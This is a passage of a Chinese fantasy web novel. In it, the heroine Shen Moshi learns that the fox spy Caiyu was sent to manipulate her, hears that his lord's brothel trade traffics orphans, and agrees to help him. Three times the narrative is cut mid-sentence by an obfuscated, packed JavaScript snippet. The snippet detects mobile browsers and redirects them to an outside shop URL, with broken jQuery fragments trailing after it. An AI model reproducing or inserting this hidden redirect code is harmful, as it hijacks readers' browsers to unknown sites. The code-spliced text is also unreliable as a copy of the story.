随着沈莫失进门的动作,彩玉的目光隐晦地向外扫视一圈,又突兀地停顿在了某处,危险地眯起了眼。 “姐姐还带了尾巴来吗?”彩玉轻轻一笑,眸光扫向沈莫失。 闻言,沈莫失疑惑地转身,仔细观察自己的身后。 “啊!”她快走几步,从隐蔽处拽出两只鬼鬼祟祟的小家伙。 她太熟悉红雪和钟欢两人的气息了,一时都没发现这两人居然偷摸摸跟在了自己的身后。 见是她们两人,彩玉迅速收回了警惕的神色,挂上温和的面具调侃道。 “居然还是两条小尾巴。” 沈莫失转头淡淡地瞥了他一眼,彩玉立刻噤声,倚在门边当自己是个哑巴花瓶。 “你们两个,跟着我做什么?”沈莫失插腰看着面前夹着尾巴的两人。 两小只凑在一块,心虚地瞄了沈莫失一眼,又自以为隐蔽地打量她身后的彩玉。 沈莫失看着她俩的表现,顿时了悟地点了点头,“原来不是找我,是来找他的?” 红雪与钟欢对视一眼,拖长了尾音撒娇道:“你最近和他走得好近,我们也想来看看嘛。” 真正的原因当然不是这个,毕竟她们向来不会随意干涉沈莫失自己的社交选择,可是…… 红雪想到了之前克拉芙季雅那古怪的举动。 那个可恶的领主某天突然风风火火地闯进了诊所,说要找沈莫失。 在知道沈莫失与一只狐狸出门约饭后,嘴里就不停地骂骂咧咧,打听完餐厅位置,又如来时一般急匆匆地出门了。 当时她俩正好在现场,一下就觉出不对劲来了。 两人分工合作,钟欢负责询问她妈妈,红雪则撺掇了鳞去找克拉芙季雅打探消息。 了解完各边的信息后,两人一合计,都觉得这只狐狸来历不简单,还大概率对沈莫失心怀不轨。 所以在发现沈莫失要来找这只诡异的狐狸后,她俩才会相约跟了上来。 沈莫失拍了拍她们的小脑袋瓜,无奈地叹了口气,转头询问彩玉,“介意让她们进来待会儿吗?我们只管我们的。” 彩玉一点不介意多了两个小客人,他摇了摇头,垂眸看着两个小孩子戒备的模样,嘴角挂着温柔的笑意。 “请进吧,欢迎。” 50.惊吓 红雪皱起眉头,对他温和的态度并不买账,或许是受之前的信息影响,她总觉得这只狐狸并不像看起来那么友好。 面对两人警惕的态度,彩玉微微弯腰,抬手向内,表示对她们的欢迎。 看了眼沈莫失,红雪鼓起脸牵着钟欢的手,向内走去。 在对面态度如此礼貌的情况下,如果一定不给面子,显得她们好像很没有教养一样。 “我和他要谈些事情,你们乖乖地坐在外面,知道吗?”沈莫失把两人按在沙发上,抬起手指嘱咐道。 “这里很安全,姐姐不用担心她们。” 彩玉端出零食饮料放在红雪和钟欢面前,对她们笑道:“不用太拘谨,随便逛逛吧,想玩什么都可以。” 这里只是个临时的居所罢了,没什么不能给小孩子看到的东西。 而且据他这阵子的调查,这两个孩子也不是什么没有分寸的熊孩子。 彩玉看着规规矩矩坐在沙发上听沈莫失吩咐的两人,不禁想到了在家的那些妹妹弟弟们,笑容越发和煦。 见两人进了书房,原本答应沈莫失会乖乖坐好的两小只一下蹦了起来,悄咪咪凑到了门边试图偷听两人说了些什么。 “不行啊,什么都听不到。”红雪小心翼翼地把耳朵贴在了门上,但可能是隔音效果太好了,她听不到一点声音。 钟欢与她姿势一致,也沮丧地瘪着个嘴,“我也是。” “那我们去看看其他的?”红雪悄咪咪和钟欢商量着。 “这样好吗?”钟欢咬着指尖担忧道。 “他不是说了我们可以随便逛的吗?”红雪挑起眉,神态像极了沈莫失想要搞事时候的模样。 “反正我们别乱碰就是了,只是看看能有什么问题?” 除了做客时的礼节外,红雪想的还要多些,她担心这个地方的东西上会不会藏了什么陷阱之类的。 所以还是不要去碰更加安全。 钟欢似懂非懂地点了点头,“都听你的。” …… 书房内。 合上了门的彩玉转头看向沈莫失,开口就要说些什么。 沈莫失抬手置于唇前,示意他别出声,自己则放轻脚步走到门边,耳朵凑近了门去听门外的动静。 直到门外窸窸窣窣的响声远去,她才勾起嘴角转过身来,“现在我们可以开始了。” 哼,十几岁的妮子们还是太年轻了。 沈莫失啧啧几声,这么简单的技巧都看不破还想跟她搞跟踪这一套。 孩子们的干扰解决了,现在就是大人们的时间了,沈莫失看向垂手立在一边的彩玉。 一旦没了外人,彩玉脸上的表情就变得浅淡多了,不过沈莫失反而觉得他这副模样更真实些。 “说说吧,你想和我聊些什么?” 她窝进一旁的单人沙发里,自在地就像在自己家里一样,抬眸去看他。 彩玉抿了抿唇,“我那天见到鬃狮蜥领主了,那您应该也已经知道我的真实身份了吧?” 沈莫失新奇地看他一眼,彩玉突然不叫她“姐姐”了,她一时还有些不习惯。 不过现在也不是在意这些称谓的时候,她回忆起此前克拉芙季雅送来的那份资料。 “你真名就叫彩玉,今年21岁,孤儿出生,被伎乐馆收养,长大后也就从事了这一行业,后来那位领主派你来接近我。” “我说的对吗?”沈莫失看向站在原地的彩玉。 彩玉扯起嘴角,“基本是这样没错的。” “不过我还有些疑问。”沈莫失撑着脸询问他。 “请说吧,我会知无不言的。”彩玉的态度极为诚恳,恭谨地站在一旁等待沈莫失的提问。 “你应该不算是乌鸦领主的人吧?为什么会帮他做这样的事?”沈莫失好奇道。 伎乐馆可不是领主府下属的什么机构,而是私人娱乐场所。 彩玉垂眸回道:“领主答应我,如果我能得到与您有关的关键信息,或是能挑拨您与两位领主之间的关系,他就会扶持我当上馆主。” 沈莫失皱了皱眉,“所以你接近我,就是为了这个馆主之位?” “这个馆主是个什么很重要的职务吗?让你甘愿冒这么大的风险?”沈莫失怀疑地上下打量着他。 要知道她身边光是一个克拉芙季雅就已经够危险的了,更何况还有陆岭的人在暗中保护她。 彩玉居然可以为了这么一个馆主的位置,去冒生命危险吗? “您对于我所从事的行业并不是很了解,不过我也说过,这一点并不能怪您,很少有人会特意关注我们这类人。” 彩玉并没有直接回答沈莫失的问题,而是向她解释起了乌鸦领的情况。 沈莫失没有插话,她来之前问陆岭要过一份资料了,不再是上次见面的时候什么都不懂的状态,但还是默默听着他说下去。 “乌鸦领在三个领地间最为特殊,驯鹿领与鬃狮蜥领基本是领主们一家独大,而乌鸦领则不同。” “准确来说,掌控着乌鸦领的并不是领主,而是商会,只是领主一般会由商会会长兼任,所以明面上与其他领地没什么差别。” 沈莫失点点头示意自己理解了,“然后呢?这和馆主有什么关系?” “商会由各个行业的领头商人们组建,而伎乐也是其中之一,头领之下就是几位馆主。” 彩玉深吸一口气,目光中渐渐染上几分火热。 “而馆主下又有众多的小馆,掌控一小馆就可以被称为‘本家’,‘本家’可以决定小馆内的规矩,而成为馆主,就有机会改变这一馆内的规则。” 地方不大,规矩倒是不小。 沈莫失撇嘴吐槽乌鸦领这千层蛋糕般的从属关系,总结道:“所以你其实是想要改变你所在的伎乐馆的规则。” 彩玉现在连“本家”都还不是,可如果他完成了这次的任务,他就可以直接连跳,越过“本家”这一级别,成为仅有几人的馆主之一。 “你想做什么?或者说,你想改变什么?” 沈莫失知道彩玉有野心,但并不觉得他是那种单纯热衷于权力的人,她更倾向于他另有所图,而成为馆主只是达成目的的手段。 “我想要保护我的家人们。”彩玉低声喃喃道,目光灼灼地看着沈莫失。 “乌鸦领内的伎乐产业十分盛行……盛行到过分了。” 他握紧了拳头,指甲扣进柔软的掌心,依靠痛觉来克制住过激的情绪。 “我之前所说的并不是撒谎,我确实是孤儿出生,或者说,我也记不起自己的来历了……但我把那些与我同为孤儿的孩子们视为亲人。” 彩玉神色悲戚,“她们都和我一样,有被家人抛弃的,出卖的,也有人是被拐来不知归处只能留下的。” “我并不在乎从事这一行业,长相又还不错,喜欢我的客人也多,可不是所有孩子都像我一样的。” 想到那些孩子们,彩玉眼底隐隐闪过泪光,他一下跪倒在沈莫失面前,祈求道。 “想要让她们离开这一行业,或者至少不再受到客人们过分的蹉跎,我真的很需要馆主的职位。” 看着他跪在自己脚边,沈莫失拧起了眉头,但并没有做出什么表示。 她总觉得有哪里不对劲。 “只要您愿意帮我,您想让我做什么都可以。” 说着,彩玉突然附身凑近了沈莫失,拉过她的手将柔软的脸颊贴在她手心,撇过头用那双澄澈的蓝瞳专注地看着她。 “您尽可以放心,我并没有沾染过什么疾病。” 彩玉放轻呼吸,观察着沈莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209996|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失的反应。 沈莫失有什么反应呢? 她瞳孔地震! 反应过来发生了什么后,沈莫失倒吸一口凉气,猛地用力抽出了自己的手,像只受惊的蜘蛛般四肢并用地爬过了沙发靠背,踉跄落地后躲在了沙发后。 “等等!” 她惊慌失措地喊道,紧紧抓住沙发充当掩体隔开自己与彩玉。 “你你你。”沈莫失指着他,一时说不出话来,只庆幸之前她把红雪她们赶走的举动。 这是去幼儿园的车吗! 是大人们的时间,不是大人们的时间啊! 沈莫失将那只被彩玉握过的手在外衣上猛蹭。 彩玉跪坐着,一脸迷茫地看着沈莫失夸张的举动,想要站起身凑近她询问。 “您这是怎么了?” “你别过来!” 沈莫失忙抬手阻止他靠近的动作,要知道她在鬃狮蜥领打架的时候都没这么慌张过。 即使是嫌弃他,也不至于到这种程度吧? 彩玉抬着无处安放的双手,局促地愣在了原地,“您到底是怎么了?” “我我我,”沈莫失不可思议地转手,指向自己,“你还问我怎么了?” 她想要大喊,又怕把两个孩子吸引过来,便只低声吼道:“我还要问你怎么了呢!” 话谈得好好的突然凑那么近干嘛?还尽说些奇奇怪怪的话。 等等。 沈莫失脑海中灵光一闪,终于发现之前她觉得不对劲的地方在哪里了。 陆岭给她的资料都写得十分隐晦,她一直觉得伎乐行业就只是普普通通的娱乐服务业,但是这和彩玉刚才的描述完全对不上号。 普普通通的娱乐服务业会涉及到拐卖吗?! 陆岭把她当红雪一样保护吗?! 还有克拉芙季雅,你怎么也不说清楚啊! 沈莫失磕磕绊绊地询问彩玉,“你口中的伎乐馆,到底是做什么的?” “诶?” 彩玉惊讶地睁大了眼,“您、您不知道吗?” “我知道什么啊?”沈莫失隐约猜到了些,抱着头满脸惊恐。 如果她之前就知道这所谓的“伎乐”指的是什么,她怎么可能会一脸平静地和彩玉聊这些内容啊! 两人大眼瞪小眼,面面相觑。 彩玉张了张嘴,对于现在的情况也有些不知所措。 沉默许久后,他才默默抬手掩面,慢慢下蹲把自己团成了球状。 “我都跟您说了些什么啊……” 他满脸通红地缩在原地,连耳朵都下压贴在了头顶,蓬松的尾巴环绕过脚踝。 看着他这幅尴尬到想要找个洞钻进去的模样,沈莫失反而没那么慌乱了,终于有精力去思考彩玉所说的事情。 倒也不怪她一时想不到这一点,陆岭是坚决反对伎乐行业和人口买卖的,对于与此相关行业的打击力度都很大。 即使暗地里还有部分营业的,也都掀不起什么风浪,更不可能会舞到陆岭面前来。 沈莫失从一开始就居住在领主府附近的这一片区域,后来还成为了陆岭的重点专注对象,自然也不可能有人会不长眼地把这种事情舞到她的面前来。 而鬃狮蜥领的人们,说实在的比起□□更在乎肉,没精力的时候就是吃喝,有精力了就去打架,让这一产业连扎根的土壤都没有。 这么一看,乌鸦领可能是唯一一个适合伎乐行业发展的领地了,也难怪彩玉会说这一行业在乌鸦领发展到过分的程度。 沈莫失情绪缓和了过来,也不再缩在沙发后了,她缓缓站起身,以一种从未有过的严肃口吻询问地上的一团彩玉。 “这种事情,乌鸦领主从来都不管的吗?” 她皱着眉紧紧盯着彩玉,等待他的回复。 51.空心 彩玉深呼吸几下放下掩面的手,强行把尴尬后悔的情绪压下,尽量语气平稳地回答沈莫失的问题。 “伎乐馆在乌鸦领是正常纳税的,对于领主而言,只要能赚钱,他就不会在乎太多。” 正是因为乌鸦领主的放任,所以伎乐以及与此有关的一系列黑灰产业都十分兴旺。 在乌鸦领,违法的不是卖倡,而是无证卖倡。 沈莫失咬了咬后槽牙,对这位乌鸦领主的印象降落至谷底。 她皱眉看着依旧跪坐在地上的彩玉,挥挥手道:“去椅子上坐着吧,看得我难受。” 看着彩玉抬起他那双柔媚的狐狸眼望过来,沈莫失顿时打了个激灵,又补充道。 “……尽量坐远些,不是说嫌弃你,只是我现在都有点怵你了。” 彩玉勉强扯了扯嘴角,起身拖过一张椅子坐到了墙角处。 沈莫失按着太阳穴,也重新坐回了沙发上。 靠着柔软的沙发椅背长舒一口气后,她才终于回想起了她们之前在聊的话题。 “你答应乌鸦领主来接近我,就是为了成为那个所谓的馆主,好去救你的妹妹弟弟。” 沈莫失试图从刚才那段抓马的记忆里整理出关键信息来。 “乌鸦领主让你来打探我的消息,或是挑拨我与陆岭、克拉法之间的关系。” 她食指微动,敲了敲手下的沙发,“可我现在既然坐在这里,就说明你并不想要乖乖完成他的任务。” 当然也是因为完成不了,沈莫失想到之前那次餐厅里发生的对话。 彩玉讲那些故事,大概是为了诱导沈莫失主动摊牌,从而打探出与紊乱症的治疗方法有关的消息,来应付乌鸦的任务。 不过沈莫失不按常理出牌,直接给他摊了个大的,完全打乱了彩玉原本的计划。 “但你又需要他的扶持来成为馆主,所以才会来求我帮忙,我说的对吗?” 她看向蔫头耷脑地坐在远处的彩玉。 彩玉点点头,双手交握在身前,低头不去看沈莫失。 “先跟我说说吧,如果我答应了你,你打算要我怎么帮你?” 彩玉抿了抿唇,犹豫着抬头看向沈莫失,见她不排斥他的视线,才开口道。 “我希望您能陪我做一场戏” “什么戏?” “除了我以外,领主在驯鹿领内还安插了其他人,监视我们也是他们的任务之一,我希望您能在他们面前,假装表现出对我十分信任的模样。” “等等,”沈莫失拧起眉头,“还有其他人?” 彩玉颔首,“领主并不止派了我一人来,只是我最为好运罢了,除了我们这些人,也有带着其他目的隐匿在驯鹿领的人。” “他们的身份你都了解吗?” 沈莫失决定回头就向陆岭举报这些人。 “部分了解,”彩玉意会道,“回头我会把我知道的名单都发给您。” “嗯。” 见他这么配合,沈莫失挠了挠头,干脆翻过这个小插曲,示意他继续往下说。 “我要装作很信任你的样子,然后呢?” “然后……我就可以借机与领主谈判,提前从他手里拿到部分利益。”彩玉捏了捏手指,干巴巴地讲述他原定的计划。 “既然您已经发现了我的身份。” 彩玉小心地偷瞄沈莫失一眼,“那我原本的计划肯定是失败了的,可就这么回去的话,我就什么都得不到,所以……” 所以能薅一点乌鸦毛是一点,不能成为馆主的话,能成为“主家”也是好的。 连最后身份暴露,任务失败的理由他都想好了,就直接推给鬃狮蜥领主。 在乌鸦领主眼里,鬃狮蜥领主就是个天灾一般的家伙,这个理由他肯定会信。 如果能把身份暴露的责任推到那些乌鸦自己人的头上就更好了,谈条件的时候他这边的胜算也会更大些。 但是这一切的前提都是沈莫失愿意帮他。 彩玉想到刚才发生的一切,愁眉苦脸地握紧了手,本就弯曲的脊背越发向下。 沈莫失恍然大悟,这是确定无法拿到答案分了,所以想尽量保住过程分,不过…… 她饶有兴趣地挑眉道:“所以你在算计我失败后,还想要我帮你?” 彩玉认命地闭上了眼,“我知道我的要求很过分,如果您不愿意的话,我只希望您当做我们今天的谈话没有发生过。” 他也是稍微了解了一些沈莫失的性子后,才敢和她商量这样的事情的。 ——沈莫失对孩子格外宽容,看在他的妹妹弟弟的份上,他知道沈莫失不至于在谈判失败后把他给卖了。 所以失败的后果也不过就是毫无所得地回去,还不如赌一把来找沈莫失。 但现在看来他是彻底失败了。 彩玉轻轻叹了口气,站起身来,沙哑着嗓音道:“既然您不想聊这些,我送您出去吧。” 沈莫失眯起眼看着他颓丧的表情,突然哼笑一声。 “谁说我不想聊了?”她不仅不起身,还悠哉地翘起二郎腿,向后彻底靠坐进了沙发里。 彩玉的耳朵颤了颤,睁大眼睛惊疑地看向沈莫失。 “我的问题还多着呢,就比如,你到底为什么会选择做出刚才那样的举动。” 沈莫失脑瓜子转冒烟了都想不出,彩玉到底为什么会选择用这种事情来跟她做交易,难道是她之前给了他什么错误的暗示吗? 要是不知道这个问题的答案,她今晚上都不一定睡得着觉。 半夜都得爬起来骂一声:不是,他有病吧! 顶着沈莫失复杂的眼神,彩玉红着脸道:“既然您不打算答应我,再知道这些又有什么意义呢。” 即使是他也并不想一次又一次地回忆起自己的黑历史。 可沈莫失并不打算放过他,“说说呗,说不定我听完会答应你呢?” 她笑眯眯地看着彩玉,丝毫不在意他窘迫的表现。 “您!”彩玉无措地站在原地。 他怎么就忘了沈莫失这个恶趣味的性子了! 可即使沈莫失这次只是在开玩笑,他也确实无法拒绝这样的诱惑。 舔了舔干涩的唇瓣,彩玉破罐破摔地说道:“除了这个,我又能为您做些什么呢?” “要论钱权,我根本比不过您身边的两位领主,论交情,我和您才认识多久?” “怎么这么没出息?” 对于他这番言论,沈莫失嫌弃地评价道:“你之前不是还说自己挺厉害的?” 餐厅里表现得那么自信,结果现在又在做些什么呢? 彩玉咬着唇别开眼,不想面对她的质问,“也只有在这方面我才……” 这一刻,他几乎有些怨恨沈莫失了,一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223170|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要这般赤裸裸地扒开他的内心。 “归根结底,是因为您根本就没有想要的东西啊!” 所以他也根本找不到与沈莫失交易的切入点,只能选择自己最擅长的事情。 谁知道会直接撞上沈莫失的雷点呢? 彩玉急到直接把真心话说出了口。 可出口他就知道要糟,匆忙捂住了自己的嘴,颤着声向沈莫失道歉。 “抱歉!我、我没有要责怪您的意思……” 此前上头的情绪也随着这一声抱怨而缓缓回落。 明明是他有求于人,怎么现在还反而责怪起对方来了。 他失魂落魄地靠着墙,不敢去看沈莫失的表情,觉得自己真是活该任务失败。 被责怪了的沈莫失倒是不像他想的那样生气,反而被他问得愣住了。 她前不久才被人评价过几乎相同的话。 不过她的一大优点就是从不内耗,也不在乎别人到底是怎么评价自己的,回神后就质问了回去。 “你们这些人啊,就不能坦率些吗?” 她想到克拉芙季雅当初胡乱送礼的举动,真是和彩玉现在的表现有“异曲同工”之处。 沈莫失干脆站起身,对着窝在墙角的彩玉指指点点,觉得这两人相性不好可真是太可惜了,脑回路一点没差的。 “你想要和我谈条件难道不能直接摊开了讲吗?我要什么不应该是我这边需要考虑的事情吗?你一个人在那瞎猜些什么呢?” “有问题直接问很难吗?” 一定要弯弯绕绕的,还吓她一跳! 她又不是什么“地铁里的甲方”,沈莫失皱眉想着,一脸气愤。 彩玉贴着墙,耳朵都耷拉了下来,偷瞄她一眼后,才小心翼翼地顺着她的话问道。 “……那您到底想要什么呢?” “我想要的东西嘛……”沈莫失挑起眉头,双手抱胸思索起自己到底想要些什么。 彩玉悄咪咪竖起一只耳朵,也想要得到这个答案。 不过沈莫失苦思冥想了半天后,表情却是渐渐沉默了下来,嘴角的笑容也滑落了。 她面无表情地怔在了原地。 书房内陷入了一阵诡异的气氛中。 彩玉龇牙咧嘴地揪了把自己,觉得自己真是哪壶不开提哪壶,一时间尴尬得想要钻进墙壁里。 就在这阵沉默中,突然响起了敲门声。 彩玉浑身毛发都炸了一瞬,猛地扭头看向门口方向。 随即,他想到家里除了她俩,还有两个小孩子在呢。 彩玉指了指作响的房门,轻声询问沈莫失,“应该是孩子们吧,我去开门?” 沈莫失恍然回神,对着他点了点头。 彩玉如释重负地快走几步打开房门,迎接他的两位小救星。 他迅速调整好了表情,真情实感地笑道:“怎么了吗?” 门外的红雪牵着钟欢,警惕地看了他一眼,觉得他的态度热情到诡异。 待看到不远处的沈莫失时,她才露出个激动的笑意来,从背后掏出一样东西冲着沈莫失挥舞道。 “看我们找到了什么?” 沈莫失勉强打起精神来,看向两个小孩子的新发现,“原来是个会发光的相框啊。” 她的嘴角扯到一半就僵住了,哑然看着红雪手里的相框。 会发光的相框? 52.归宿 “这是我的全家福?可它这是怎么了?”彩玉看着发光的相框,也是一脸疑惑。 这张照片一直被他摆放在橱柜上,对于除他以外的人而言,这不是什么很要紧的物件。 定定地看着那发光的相框,沈莫失顿时笑出声来,“彩玉啊彩玉,你的运气可不只是一点点的好。” 怪不得只有他能完美地避开陆岭和克拉芙季雅的防护,凑到她的面前来。 她本来还有些奇怪呢,陆岭就算再忙,怎么可能会疏忽了对她的保护,让奇奇怪怪的人接近她。 沈莫失上前几步,从一脸得意的红雪手里拿过相框,对着摸不着头脑的彩玉挥了挥。 “你不是问我,我到底想要什么吗?” 沈莫失举着相框道:“我想要这个。” 彩玉不明所以地蹙起眉头,“姐姐……是想要我的这张照片?” 他隐约觉得事情不会这么简单,便又猜测道:“还是我的家人?” 沈莫失扫向相框里的照片,彩玉被一群人簇拥在正中间,其中年长的几个看着年龄也并不算大,基本还是少年模样。 也有几个年龄更小的,甚至还有被捧在怀里的婴儿。 “她们就是你的家人们?” 彩玉看着那张相片,神色柔和地轻声说道:“是的,她们是我最爱的人们。” 这是少数被他从家里携带来的物品之一,毕竟这东西没有危险不会被拦截,还有助于他在沈莫失面前塑造人设。 “如果姐姐想要她们中的哪一位或是哪几位的话,我之后就为姐姐带来。” 沈莫失发话想要的话,乌鸦领主不至于阻拦这件事。 而且能够待在沈莫失身边,肯定要比跟着他过得好多了。 沈莫失奇怪地看了他一眼,“你的脑回路真是奇妙,我要你的家人做什么,当然是要这张照片了。” 彩玉懊悔地闭紧了嘴,决定以后在沈莫失面前再也不多话了。 “不过话又说回来了,”沈莫失看向照片里的几位兽人孩子,“你之前不是还说想要我帮忙治疗你的妹妹弟弟吗?” 虽然只是暗示,但是在沈莫失眼里和明说也没什么差别了。 而钥匙既然选择了这幅全家福,看来彩玉对家人们的感情也做不得假。 她转头扫向彩玉,“今天怎么提都不提这件事?” 这么敏感的事情也是可以随便提的吗? 彩玉惊讶地看向沈莫失。 之前两人还没摊牌也就算了,现在沈莫失都知道他的底细和目的了,再提这种事情,万一沈莫失觉得他想当双面间谍呢? 不知道沈莫失完全不在意这件事的彩玉把话在嘴里转了半天,才终于整理好了措辞说出口。 “只要技术没有落到乌鸦领主的手里,依靠驯鹿领主的能力,推广到乌鸦领是迟早的事情。” 彩玉低头瞥了眼好奇的两个小朋友,含糊其辞道:“如果我能和乌鸦领主达成交易,就能给孩子们用更好的药,足够撑到那时候了。” “技术不能落到乌鸦手里?”沈莫失疑惑道。 听这话的意思是,就算彩玉把技术拿到手了,也不打算拿这个去交差? 所以在餐厅里居然是纯粹的卖惨啊。 沈莫失无语地看了他一眼,怎么又是个看似精明实则憨憨的家伙。 能不能别这样,搞得她猜来猜去好像很喜欢猜谜一样。 彩玉不知道沈莫失在心里是怎么蛐蛐他的,认真地回复她的问题。 “一旦被乌鸦领主拿到了技术,以他的行事作风,至少在短期内,领地内都会是强制垄断的状态。” “他甚至可能会限制其他领地的医生进驻乌鸦领,到时候我反而会更加受制于领主,孩子们也更难得到治疗。” 所以还不如别给他,等着陆岭的医生们过来。 沈莫失撇撇嘴,对这位乌鸦领主越发看不上眼,别说是陆岭了,连克拉芙季雅和他一比,都算是良心领主了。 “有这么个领主在,你们就没有想过离开乌鸦领吗?” 沈莫失说出口就意识到自己想当然了,这一大家子人,没老但有少,还有一堆有病的,要跑路怎么可能容易。 果然,彩玉情绪低落地摇了摇头道:“风险实在是太大了。” 要是他一个人肯定就跑了,但实在不敢带着家人一起冒险。 “不跑还能安稳过之前的日子,如果跑了,商会一定会发布通缉令,被抓到的话……” 即使一家人都幸运地逃了出来,但她们从未学过其他的谋生技术,还要躲避追捕,别说衣食了,光是用药需求就是一个大问题。 沈莫失默默揽过身前的两小只,对于彩玉的顾虑也有几分理解。 她现在也算是看懂彩玉的选择了,他并不是没有反抗领主的想法,只不过以他目前的能力而言,最好的选择就是跟在乌鸦后面。 所以即使他不喜欢乌鸦的作风,也只能在他手下谋生。 回答完沈莫失的话,彩玉就不再多言,只低头看着地砖上的纹路,默默捏紧了指尖。 红雪看了眼紧张到手心冒汗的可疑狐狸,再抬头去看目光毫无焦点明显是在思考的沈莫失,蹙起眉头疑惑地与钟欢对视一眼,也保持了沉默。 沈莫失确实正在思索着,却并不是如彩玉所猜测的那样,在思索要不要帮彩玉去骗乌鸦这件事。 这件事她已经决定好了,其余暂且不论,人口买卖就是她绝对无法容忍的事情了,红雪和钟欢两个就站在她面前,这种事情太容易激起她不好的情绪了。 之前不知道也就算了,现在知道了还能放任这种事情继续发生,那她就不是沈莫失了。 所以她现在在思考的其实是要怎么应对这件事。 她可没打算完全照着彩玉的计划走,也不看看他的计划在她这里失败了多少次? 即使不追究彩玉的过往战绩,沈莫失也不会认同他的这个计划。 在她看来,彩玉只是在乌鸦设定好了的规则下打转罢了,他自己都说了,在最好的情况下,即使成为馆主也无法让所有的家人们都脱离这一行业。 别说是他的家人们了,他自己都还在这一行当里打转呢,要来说服沈莫失的时候,下意识使用的也是这一类的手段。 想要在别人制定的规则下赢过别人?这种事情怎么可能。 眼珠子一转,沈莫失大致确定了之后的策略,再看向垂眸站在一旁的彩玉,她轻笑出声。 “怎么这么紧张?放心吧,”沈莫失向他示意下手里的相框,“看在这个的份上,我也会帮你的。” 彩玉猛地抬头看向沈莫失,虽然不清楚她为什么会为了一张照片而愿意帮他,但不论如何,沈莫失答应了这件事都让他感到惊喜。 不过在他做出回应之前,沈莫失先凑近了他,把手搭在了他的肩上。 “不过呢,既然是你求我,那就必须按照我的计划来行动。” 沈莫失弯起眉眼,笑得比彩玉还要像是一只真正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233615|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的狐狸。 看着她的这个笑容,彩玉不禁有些头皮发麻。 “诶?” …… 直到把沈莫失一行人送出了门,彩玉才反应过来自己刚才答应了些什么。 他胸口起伏不定,背靠着门缓缓滑坐在地上,瞪大了眼睛,紧紧捂住自己的嘴,在不可置信的同时又不免升起一阵激动的心情。 门外。 红雪和钟欢一人一边牵着沈莫失的手慢慢往回走。 钟欢摇头晃脑地感叹道:“没想到他居然是个好人。” “好人?”沈莫失低头询问钟欢,“怎么这么觉得?” “他很关心他的家人啊。”钟欢笑着看向沈莫失,她觉得会关心家人的就是个好人了。 沈莫失轻笑出声,晃了晃两人牵着的手回道:“那也算不上好人吧。” 钟欢不解地皱起了眉,“那他其实是个坏人?” “也不算吧。”沈莫失摇头。 “不是好人也不是坏人,”钟欢抖了抖耳朵,眉头纠结地拧起,“那他是什么人呢?” “哼哼,”沈莫失哼笑几声,“或许只是一只狐狸?” “狐狸算是好人坏人?”钟欢满脑袋问号地继续追问沈莫失。 红雪在一旁沉默地看着与钟欢笑闹的沈莫失,不禁觉得有些奇怪。 之前沈莫失会询问每一位钥匙的携带者是否愿意帮她带着碎片,以增加遇到新钥匙的几率——她并没有见到过鳞的那块碎片。 可这次怎么没有了? 她不像是信不过那只狐狸的样子,不然就不会选择和那只狐狸合作。 而且即使收回了新的碎片,沈莫失好像也没有表现得很高兴的样子。 她是亲眼见过沈莫失最初收回碎片的时候有多开心的,也知道沈莫失对于失去的记忆有多执着,怎么现在却…… 红雪又瞄了沈莫失一眼。 但是出于一些隐秘的小心思,她并不打算纠结于这一点。 或许沈莫失这样也挺不错的。 她默默抓紧了沈莫失的手,在她看过来时,露出一个与以往毫无差别的笑容贴了上去。 “哈哈哈,”沈莫失被她推得向钟欢那边倒去,“怎么这么粘人呀,嗯?” 红雪紧紧贴着她蹭了蹭,尾巴一摇一晃。 …… 沈莫失有些恍惚地捏着第六块碎片。 这一块碎片中储存的记忆或许是她在这次失忆之前最早的记忆了。 记忆中,大脑里空无一物的她苏醒在了一个陌生的世界里,就像她在垃圾山上醒来的那次一样。 不过,情况比起那次要糟糕得多了。 当时,她还没有钥匙这个好用的记忆储存器在,所以当时的她……称之为拥有成人躯壳的新生儿或许会更加合适些。 幸好她的运气向来不错,那是一个巨人族的世界,她被误认为了那个世界的幼崽,以一个被遗弃的残疾儿的身份被人救助了。 正是因为这些好心人的救助,她才能够活到足以独立生存的程度。 在此期间,隔三差五的,她就能因为某些既视感,恢复极少量的记忆,大多是一些常识,或是奇奇怪怪的话语,与“人”有关的记忆是完全没有。 但多亏了这些零零散散的记忆,才让她意识到自己与周围人的不同之处,最终促使她踏上了不断穿越的这趟旅途。 沈莫失抿着唇收回了这一块碎片。 果然和她猜测的一样吗…… 53.争吵 今日的诊所比往常要热闹太多了。 围观众人目瞪口呆地看着眼前三人的这场抓马大戏,由于其中一人的身份,没有任何人敢上前来劝架。 看着面前的两人,克拉芙季雅气急败坏地在原地转来转去。 “你脑子能不能清醒一点?”终于,她停下了脚步,大张着嘴冲沈莫失吼道。 